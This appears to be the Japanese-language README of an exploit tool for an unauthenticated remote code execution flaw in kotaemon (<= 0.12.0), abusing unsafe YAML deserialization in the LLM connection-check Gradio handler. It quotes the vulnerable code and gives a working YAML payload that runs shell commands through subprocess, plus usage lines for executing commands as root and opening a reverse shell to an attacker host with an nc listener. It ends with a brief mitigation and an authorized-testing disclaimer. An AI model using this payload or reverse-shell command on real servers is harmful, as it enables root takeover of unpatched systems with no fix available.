
LLM接続チェックにおける安全でないYAMLデシリアライゼーションを標的とした認証なしリモートコード実行エクスプロイト。公開されたGradio APIを介した任意のコマンド実行とリバースシェルをサポート。
LLM 設定の接続チェックにおける安全でないデシリアライゼーションを介した、kotaemon(<= 0.12.0)での認証なしリモートコード実行。
kotaemon の LLM 設定 check_connection Gradio ハンドラ(libs/ktem/ktem/llms/ui.py)は、攻撃者が指定した YAML spec を解析し、安全でない方法でデシリアライズします:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False)(theflow/utils/modules.py)は、許可リストなしで import_dotted_string を介して spec の __type__ キーを解決し、攻撃者が制御する kwargs でインスタンス化します:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
つまり、__type__ が subprocess.check_output である spec は、デシリアライズ中に OS コマンドを実行します(CWE-502)。
次の 2 点により、これは完全な認証なし RCE になります:
auth= なしで起動されます。「ログイン」は UI タブの表示を切り替えるだけであり、登録されたすべてのイベントハンドラが公開呼び出し可能です。KH_FEATURE_USER_MANAGEMENT は HTTP/キュー API をゲートしません。info["spec"].update(<attacker yaml>) が LLM spec を完全に上書きするため、ペイロードは実際の LLM プロバイダーに一切接触しません。kotaemon の公式 Docker イメージは root で実行されるため、RCE は root として発動します。本稿執筆時点で上流の修正はありません。
配信される YAML spec:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize は最初に return_value へ再帰し、subprocess.check_output(args=["sh","-c","<cmd>"], text=True) がコマンドを実行します。これを unittest.mock.Mock でラップすると、ベース spec の残りの kwargs(model / api_key)が吸収されるため、外側の呼び出しは決して失敗せず、コマンドの stdout はハンドラの Got response: ... メッセージにエコーバックされます。
標準ライブラリのみを使用(Python 3)。このエクスプロイトは 2 つの Gradio 呼び出しを行います:create_llm(名前付き LLM エントリをシードして llms.info()[name] が解決されるようにする)と、その後の check_connection(ペイロードを配信する)です。
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
ターゲット上で create_llm / check_connection ハンドラ名が異なる場合は、GET /config(dependencies[].api_name)から列挙して調整してください。
kotaemon <= 0.12.0(デフォルトポート 7860)。本稿執筆時点で上流のパッチはありません。
__type__ が import_dotted_string に到達しないよう、deserialize を safe=True と allowed_modules 許可リスト付きで呼び出す。認可されたセキュリティテストおよび教育目的のみに使用してください。自分が所有する、または明示的なテスト許可を得たシステムに対してのみ使用してください。